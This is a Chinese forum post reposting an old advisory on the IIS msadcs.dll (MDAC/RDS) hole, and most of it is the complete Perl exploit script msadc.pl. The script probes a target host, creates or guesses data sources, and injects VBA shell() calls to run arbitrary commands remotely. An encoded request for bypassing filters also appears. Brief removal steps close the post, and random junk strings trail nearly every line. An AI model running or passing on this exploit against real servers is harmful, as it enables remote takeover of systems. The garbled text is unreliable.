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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,ZV<o!\  
9fMg?  
涉及程序: 7xB#)o53  
Microsoft NT server QE)I7(  
IJxdbuKg  
描述: =t<!W  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -aLBj?N c[  
HI#}M|4n  
详细: ch1EF/"  
如果你没有时间读详细内容的话,就删除: ./jkY7 k  
c:\Program Files\Common Files\System\Msadc\msadcs.dll +che Lc  
有关的安全问题就没有了。 ~xGWL%og  
tz j]c  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8|{:N>7  
*58<.L|  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @jN!j*Y H  
关于利用ODBC远程漏洞的描述,请参看: yopEqO  
?0hk~8c  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zN#$eyt  
l Vo](#W  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ]o$Kh$~5  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5dT-{c%w4  
LTS3[=AB  
这里不再论述。 idvEE6I@  
 UB&ofO  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Q/\ <rG4  
IpGq_TU  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset fC.-* r  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! %Gl,V5z&  
Y<:%_]]  
44f8Hc1g  
#将下面这段保存为txt文件,然后: "perl -x 文件名" n0 _:!]k^  
eT[ ,k[#q  
#!perl RZjTUMAz4  
# [WXtR  
# MSADC/RDS 'usage' (aka exploit) script _D1bR7  
# ,[,+ _A  
# by rain.forest.puppy M ioS  
# )J<Li!3  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me QB#f'X  
# beta test and find errors! }h5pM`|1  
.^I,C!O#  
use Socket; use Getopt::Std; ETV|;>v  
getopts("e:vd:h:XR", \%args); )K -@{v^|  
/XEcA 5C<  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; TGdD7n&Ehh  
Of7j~kdh83  
if (!defined $args{h} && !defined $args{R}) { Ag }hyIl  
print qq~ g}{Rk>k  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ]n${j/x  
-h <host> = host you want to scan (ip or domain) GuQ3$B3j  
-d <seconds> = delay between calls, default 1 second cInzwdh7  
-X = dump Index Server path table, if available BqvOi~ l  
-v = verbose gmLGK1  
-e = external dictionary file for step 5 FgE6j;   
$.R$I&U  
Or a -R will resume a command session r&A#h;EQX2  
;dRTr *  
~; exit;} ?=_l=dR  
ppR~e*rv-  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; =\J^_g4-l  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} =:P9 $  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} qeQTW@6 F  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); <4^ _dJ9=  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} h\Op|#gIT  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } F:n(yXA  
']u w,b  
if (!defined $args{R}){ $ret = &has_msadc; *ls}r5k2Y  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Os*,@N3t  
yi"V'Us  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" %&c[g O!Za  
. "cmd /c "; MM|&B`v@;  
$in=<STDIN>; chomp $in; t2BkQ8vr  
$command="cmd /c " . $in ; {O5;V/00}  
f6PXcV  
if (defined $args{R}) {&load; exit;} *hF5cM[  
McNj TD  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; vs{i2!^  
&try_btcustmr; $d:/cN 8E  
.oO_x>  
print "\nStep 2: Trying to make our own DSN..."; |n=m8X  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]Q-ON&/  
1FjA   
print "\nStep 3: Trying known DSNs..."; ]r$S{<  
&known_dsn; Nj %!N  
-1Lh="US  
print "\nStep 4: Trying known .mdbs..."; i:&Y{iPQp  
&known_mdb; (jPN+yQ  
LZ|G"5X[  
if (defined $args{e}){ H_ .@{8I  
print "\nStep 5: Trying dictionary of DSN names..."; }LM^>M%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } KAjKv_6=g  
 F04`MY"  
print "Sorry Charley...maybe next time?\n"; j{7_p$JM  
exit; 1e'-rm F  
K~+y<z E  
############################################################################## -/~^S]  
/cJ$` pN  
sub sendraw { # ripped and modded from whisker Fr,>|  
sleep($delay); # it's a DoS on the server! At least on mine... -F4CHpua  
my ($pstr)=@_; O#H`/z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YCeE?S1gk3  
die("Socket problems\n"); ZJP.-`U  
if(connect(S,pack "SnA4x8",2,80,$target)){ TiCp2Rsz  
select(S); $|=1; gA2Il8K  
print $pstr; my @in=<S>; hDl& KE  
select(STDOUT); close(S); NjdAfgA  
return @in; -J:](p  
} else { die("Can't connect...\n"); }} G- Sw`HHo  
e3F)FTG&  
############################################################################## A>%fE 6FY  
H[*.Jd  
sub make_header { # make the HTTP request m589C+7  
my $msadc=<<EOT )cUc}Avg}  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 bNFX+GA/  
User-Agent: ACTIVEDATA C&NoEtL>s  
Host: $ip 59$mfW o>  
Content-Length: $clen 7_E+y$i=  
Connection: Keep-Alive Y%^&aacZ  
=5oFutg`  
ADCClientVersion:01.06 }dAb} 0XK.  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 1#(,Bq4  
2OAh7'8<  
--!ADM!ROX!YOUR!WORLD! w]"Y1J(i  
Content-Type: application/x-varg [LL"86D  
Content-Length: $reqlen zO9$fU  
9C-F%te7  
EOT "2'nLQ""q  
; $msadc=~s/\n/\r\n/g; d7It}7@9  
return $msadc;} W2%(a0p  
kR-N9|>i  
############################################################################## w/d9S(  
e|):%6#  
sub make_req { # make the RDS request 2~2  
my ($switch, $p1, $p2)=@_; RT)0I;  
my $req=""; my $t1, $t2, $query, $dsn; lh7{2WQ  
T_[W=9  
if ($switch==1){ # this is the btcustmr.mdb query iq5h[  
$query="Select * from Customers where City=" . make_shell(); +m:U9K(\h  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . nvu|V3B0  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 5EFow-AH  
mmwwz  
elsif ($switch==2){ # this is general make table query V>gEF'g  
$query="create table AZZ (B int, C varchar(10))"; F!|Z_6\tv:  
$dsn="$p1";} uEVRk9nb  
AjAmV hq  
elsif ($switch==3){ # this is general exploit table query JI3AR e?y  
$query="select * from AZZ where C=" . make_shell(); &ad9VB7  
$dsn="$p1";} .#5<ZAh/?  
M4nM%qRGQ  
elsif ($switch==4){ # attempt to hork file info from index server v_{`O'#j^  
$query="select path from scope()"; 9 ?MOeOV8  
$dsn="Provider=MSIDXS;";} u<!!%C~+=  
<C+ :hsS=  
elsif ($switch==5){ # bad query {8@?9Z9R{  
$query="select"; e~'y%|D  
$dsn="$p1";} 2i |wQU5w  
9{70l539  
$t1= make_unicode($query); /-^gK^  
$t2= make_unicode($dsn); W E|L{  
$req = "\x02\x00\x03\x00"; aZ*b"3  
$req.= "\x08\x00" . pack ("S1", length($t1)); ~< Gs<c}z  
$req.= "\x00\x00" . $t1 ; 9s73mu`Twg  
$req.= "\x08\x00" . pack ("S1", length($t2));  R(k6S  
$req.= "\x00\x00" . $t2 ; dvyE._/v  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; u\^<V)  
return $req;} o7/_a/  
 7 g  
############################################################################## m?;)C~[  
|]+m<Dpyr2  
sub make_shell { # this makes the shell() statement Arir=q^2  
return "'|shell(\"$command\")|'";} 0Hff/~J  
mRj-$:}L  
############################################################################## rU<  H7U  
x:xKlPGd  
sub make_unicode { # quick little function to convert to unicode nP 2rN_:4  
my ($in)=@_; my $out; ef f6=DP  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } s3g$F23  
return $out;} M`BD]{tN}  
6x*ImhQ.J  
############################################################################## Mr2dhSQ !  
Fdm7k){A  
sub rdo_success { # checks for RDO return success (this is kludge) BxG0vJN|  
my (@in) = @_; my $base=content_start(@in); cX7xG U  
if($in[$base]=~/multipart\/mixed/){ L.U [eH  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Bwb3@vNA  
return 0;} [%P_ Y/  
4%\L8:  
############################################################################## D*vrQ9&# 8  
p'KU!I }  
sub make_dsn { # this makes a DSN for us <%>Q$b5  
my @drives=("c","d","e","f"); 9m!4U2N,s  
print "\nMaking DSN: "; `9a%}PVQ-  
foreach $drive (@drives) { [p}J=1S  
print "$drive: "; =<`9T_S 16  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . dMeDQ`c`W  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" DI!NP;E  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Yi7`iC  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; b'M g  
return 0 if $2 eq "404"; # not found/doesn't exist d";+8S  
if($2 eq "200") { cFGP3Q4{  
foreach $line (@results) { E`LML?   
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Fd5{pM3  
} return 0;} t.lm`=  
A[htG\A` 0  
############################################################################## l= ~]MSwY  
ReZ|q5*  
sub verify_exists { "E/F{6NH  
my ($page)=@_; J%j#gyTU  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 0@*rp7   
return $results[0];} ThJLaNS  
4xtbP\=   
############################################################################## }k\a~<'X  
ZN%$k-2  
sub try_btcustmr { t+m$lqm  
my @drives=("c","d","e","f"); hJhdHy=U  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FK@rZP  
?*[t'D9f-  
foreach $dir (@dirs) { wd..{j0&  
print "$dir -> "; # fun status so you can see progress 9Hlu%R  
foreach $drive (@drives) { 6dC!&leNi  
print "$drive: "; # ditto 9p2"5x  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ,8+SQo #3  
$reqlenlen=length( "$reqlen" ); j,EE`g&  
$clen= 206 + $reqlenlen + $reqlen;  PovPO  
_)2N Fq  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); cU%#oEMf<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} uZm<:d2%)  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} A-ir   
^L]+e  
############################################################################## 2NIK0%6  
;oob TW{  
sub odbc_error { 9zi/z_G  
my (@in)=@_; my $base; <MT_zET  
my $base = content_start(@in); Zp- Av8  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this g 4Vt"2|  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1swh7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; d /Zt}{  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; lNqXx{!k  
return $in[$base+4].$in[$base+5].$in[$base+6];} S3)JEZi  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 5T8X2fS:  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1tQZyHc42;  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} kW6}57iV  
53BXz= k  
############################################################################## CM9+h;Zm  
&>L\unS  
sub verbose { ,o*b-Cv/  
my ($in)=@_; [A*vl9=  
return if !$verbose; Gxm+5q  
print STDOUT "\n$in\n";} |],{kUIXO  
47`{ e_YP0  
############################################################################## t!D=oBCro  
*7BY$q  
sub save { !G`w@E9M)  
my ($p1, $p2, $p3, $p4)=@_; 2ZIf@C{P.  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; pfZn<n5p  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6S"bW)O  
close OUT;} =*"Amd,  
o=;.RYi  
############################################################################## ik7#Og~ 3  
L_)?5IOJ$  
sub load { uZd)o AB  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;)"r^M)):  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); s![=F}ck  
@p=<IN>; close(IN); 5A~w_p*}  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 3w!oJB  
$target= inet_aton($ip) || die("inet_aton problems"); 1hi^  
print "Resuming to $ip ..."; \&ERSk2  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; @_N -> l  
if($p[1]==1) { aH'^`]'_=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; /\ ~{  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; |06J4H~k  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); zrnc~I+  
if (rdo_success(@results)){print "Success!\n";} clG3t eC  
else { print "failed\n"; verbose(odbc_error(@results));}} 4sNM#]%|  
elsif ($p[1]==3){ 4J94iI>S.l  
if(run_query("$p[3]")){ OSfwA&  
print "Success!\n";} else { print "failed\n"; }} Dih~5  
elsif ($p[1]==4){ 8Q#&=]W$  
if(run_query($drvst . "$p[3]")){ 97F$$d54T  
print "Success!\n"; } else { print "failed\n"; }} iO<O2A.F  
exit;} V&h ,v%$  
eA{,=, v)  
############################################################################## 6K?+adKlc  
&/=xtO/Z{  
sub create_table { 5>h2WL  
my ($in)=@_; //H+S q66  
$reqlen=length( make_req(2,$in,"") ) - 28; -lb}}z+/  
$reqlenlen=length( "$reqlen" ); X903;&Cim  
$clen= 206 + $reqlenlen + $reqlen; oDKgW?x  
my @results=sendraw(make_header() . make_req(2,$in,"")); #z~D1Zl  
return 1 if rdo_success(@results); Wd~}O<"  
my $temp= odbc_error(@results); verbose($temp); 9FPl  
return 1 if $temp=~/Table 'AZZ' already exists/; Cv;z^8PZJz  
return 0;} K8284A8v  
FY#`]124*  
############################################################################## }@ 1LFZx  
GbB&kE3KP  
sub known_dsn { 6kIq6rWF9  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go eUF PzioW  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", IQ2<Pinv  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ELY$ ]^T  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2z )h,<D  
,Z MYCl]  
foreach $dSn (@dsns) { w:z_EV!&  
print "."; r'xa' 6&  
next if (!is_access("DSN=$dSn")); {nj\dU  
if(create_table("DSN=$dSn")){ 8 hWQ  
print "$dSn successful\n"; - VR u^l#  
if(run_query("DSN=$dSn")){ TN/I(pkt1B  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { L d#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9&rn3hmP  
Z!LzyCVl  
############################################################################## Szwa2IdI.  
F!zZIaB]  
sub is_access { ,aawtdt/  
my ($in)=@_; Ix1ec^?f  
$reqlen=length( make_req(5,$in,"") ) - 28; pC#Z]_k  
$reqlenlen=length( "$reqlen" ); LNg[fF^:  
$clen= 206 + $reqlenlen + $reqlen; }c&Zv#iO6  
my @results=sendraw(make_header() . make_req(5,$in,"")); W=F?+Kg L  
my $temp= odbc_error(@results); [0)iY%^  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); i}+dctg/  
return 0;} >OiC].1   
?;^_%XSQ*  
############################################################################## He j0l^  
4:6@9.VVT  
sub run_query { +k8><_vr}  
my ($in)=@_; 9;h 1;9sC|  
$reqlen=length( make_req(3,$in,"") ) - 28; EWH'x$z_q  
$reqlenlen=length( "$reqlen" ); [gQ~B1O  
$clen= 206 + $reqlenlen + $reqlen; xvpS%MS  
my @results=sendraw(make_header() . make_req(3,$in,"")); Oe2Tmvl  
return 1 if rdo_success(@results); &w/aQs~  
my $temp= odbc_error(@results); verbose($temp); U$0#j  
return 0;} r}*2~;:pW  
$R7d*\(G  
############################################################################## u7a4taM$d  
9%\q*  
sub known_mdb {   ;h  
my @drives=("c","d","e","f","g"); BMFpkK9|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); I"<~!krt%  
my $dir, $drive, $mdb; ps<JKHC/c  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Fp@eb8Pl  
$XT&8%|*7  
# this is sparse, because I don't know of many /V&$SRdL*  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -qx Z3   
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Kj-:'jzW  
"\\system32\\certmdb.mdb", ijyj}gpWha  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% nSd?P'PFg  
X)~JX}-L  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ly, d =  
"\\cfusion\\cfapps\\forums\\forums_.mdb", F_V~UX1D  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", /xf %Rp4}  
"\\cfusion\\cfapps\\security\\realm_.mdb", _NqEhf:8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", "%>/rh2Iq  
"\\cfusion\\database\\cfexamples.mdb", YW/YeID  
"\\cfusion\\database\\cfsnippets.mdb", 3f M  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", HC!$Z`}Y  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1s!hl{n<~  
"\\cfusion\\brighttiger\\database\\cleam.mdb", H6'xXS  
"\\cfusion\\database\\smpolicy.mdb", w="I*7c@  
"\\cfusion\\database\cypress.mdb", n"_EDb  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", M%9PVePOe  
"\\website\\cgi-win\\dbsample.mdb", k}jH  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ~!)_3o  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" :2?i9F0_  
); #these are just /6L\`\g  
foreach $drive (@drives) { ;O{AYF?,N  
foreach $dir (@dirs){ *h-nI=  
foreach $mdb (@sysmdbs) { W.0dGUi*  
print "."; VQqEsnkz  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ UN,@K9  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !7 *X{D v  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 4fpz;2%  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; #( X4M{I  
} else { print "Something's borked. Use verbose next time\n"; }}}}} z,DEBRT+  
0>E`9|   
foreach $drive (@drives) { _CI!7%  
foreach $mdb (@mdbs) { OBb  
print "."; 9LCV"xgX  
if(create_table($drv . $drive . $dir . $mdb)){ 6aMqU?-  
print "\n" . $drive . $dir . $mdb . " successful\n"; U_M> Q_r(  
if(run_query($drv . $drive . $dir . $mdb)){ $C^94$W  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; S=M$g#X`5  
} else { print "Something's borked. Use verbose next time\n"; }}}} &x;v&  
} <R]?8L0{h  
8 kd  
############################################################################## (h`||48d  
gX6'!}G8]  
sub hork_idx { m_(+-G  
print "\nAttempting to dump Index Server tables...\n"; WW==  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; =xa`)#4(  
$reqlen=length( make_req(4,"","") ) - 28; \[Rh\v&  
$reqlenlen=length( "$reqlen" ); cB?HMLbG>  
$clen= 206 + $reqlenlen + $reqlen;  >cSc   
my @results=sendraw2(make_header() . make_req(4,"","")); .sjM$#V=  
if (rdo_success(@results)){ =I7#Vtd^K<  
my $max=@results; my $c; my %d; -Ux/ Ug@  
for($c=19; $c<$max; $c++){ f4X?\eGT  
$results[$c]=~s/\x00//g; })T_D\2M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; xmq~:fcU=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ^*}L9Ot~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; M^+~r,D1u  
$d{"$1$2"}="";} = #ocp  
foreach $c (keys %d){ print "$c\n"; } 8 +uOYNXsA  
} else {print "Index server doesn't seem to be installed.\n"; }} H#wn3O  
Ld+}T"Z&M>  
############################################################################## pBmacFP  
Mb?6c y[  
sub dsn_dict { bk#u0N  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Pi)`[\{  
while(<IN>){ ot-!_w<  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $IB@|n  
next if (!is_access("DSN=$dSn")); "R):B~8|H{  
if(create_table("DSN=$dSn")){ O!/J2SfuDH  
print "$dSn successful\n"; bO^%#<7  
if(run_query("DSN=$dSn")){ =_L"x~0I-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1Qf5H!5vx  
print "Something's borked. Use verbose next time\n";}}} Mgf80r=  
print "\n"; close(IN);} &)\0mpLK9  
JJ7-$h'0q  
############################################################################## <\Y>y+$3  
p~=%CG^5  
sub sendraw2 { # ripped and modded from whisker 8(uxz84ce  
sleep($delay); # it's a DoS on the server! At least on mine... n;O 3.2  
my ($pstr)=@_; DB%=/ \U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3(vI{[yhT  
die("Socket problems\n"); @c7 On)sy  
if(connect(S,pack "SnA4x8",2,80,$target)){ ##R]$-<4dQ  
print "Connected. Getting data"; G^ n|9)CVW  
open(OUT,">raw.out"); my @in; "o[\Aec:  
select(S); $|=1; print $pstr; 8+gSn  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} G ytI_an8  
close(OUT); select(STDOUT); close(S); return @in; vxbO>c   
} else { die("Can't connect...\n"); }} V-J\!CHX  
B.{0,b W?  
############################################################################## |{ *ce<ip5  
}$g5:k!  
sub content_start { # this will take in the server headers ?^,GaZ^V  
my (@in)=@_; my $c; Hhfqb"2on  
for ($c=1;$c<500;$c++) { 80:na7$)#  
if($in[$c] =~/^\x0d\x0a/){ [f- #pew  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Cn+TcdHX  
else { return $c+1; }}} c;(}Ih(#  
return -1;} # it should never get here actually I 9tdr<  
qYbod+UX  
############################################################################## ^#g GA_H  
\n+`~< i  
sub funky { B>9D@fmzs  
my (@in)=@_; my $error=odbc_error(@in); bjD0y cB[  
if($error=~/ADO could not find the specified provider/){ FC vR  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; H(n_g QAX  
exit;} 7J0 PO}N  
if($error=~/A Handler is required/){ s g6  
print "\nServer has custom handler filters (they most likely are patched)\n"; KOw Ew~  
exit;} C7)].vUN  
if($error=~/specified Handler has denied Access/){ l^"gpO${K  
print "\nServer has custom handler filters (they most likely are patched)\n"; Kd^ ._  
exit;}} 9J l9\y9  
( 8H "'  
############################################################################## |urohua  
dR $@vDm  
sub has_msadc { {Ivu"<`L3  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ~EX/IIa{  
my $base=content_start(@results); *:GoS?Ma  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); dL[mX .j"  
return 0;} 5r`g6@  
! =|{  
######################## Udd|.JRd  
5n?fZ?6(  
6;5}% B:#h  
解决方案: xr.fZMOh4  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll =BNmuAY7  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 o5AyJuS-u$  
cBc6*%ZD  
拿出来充数 哈哈
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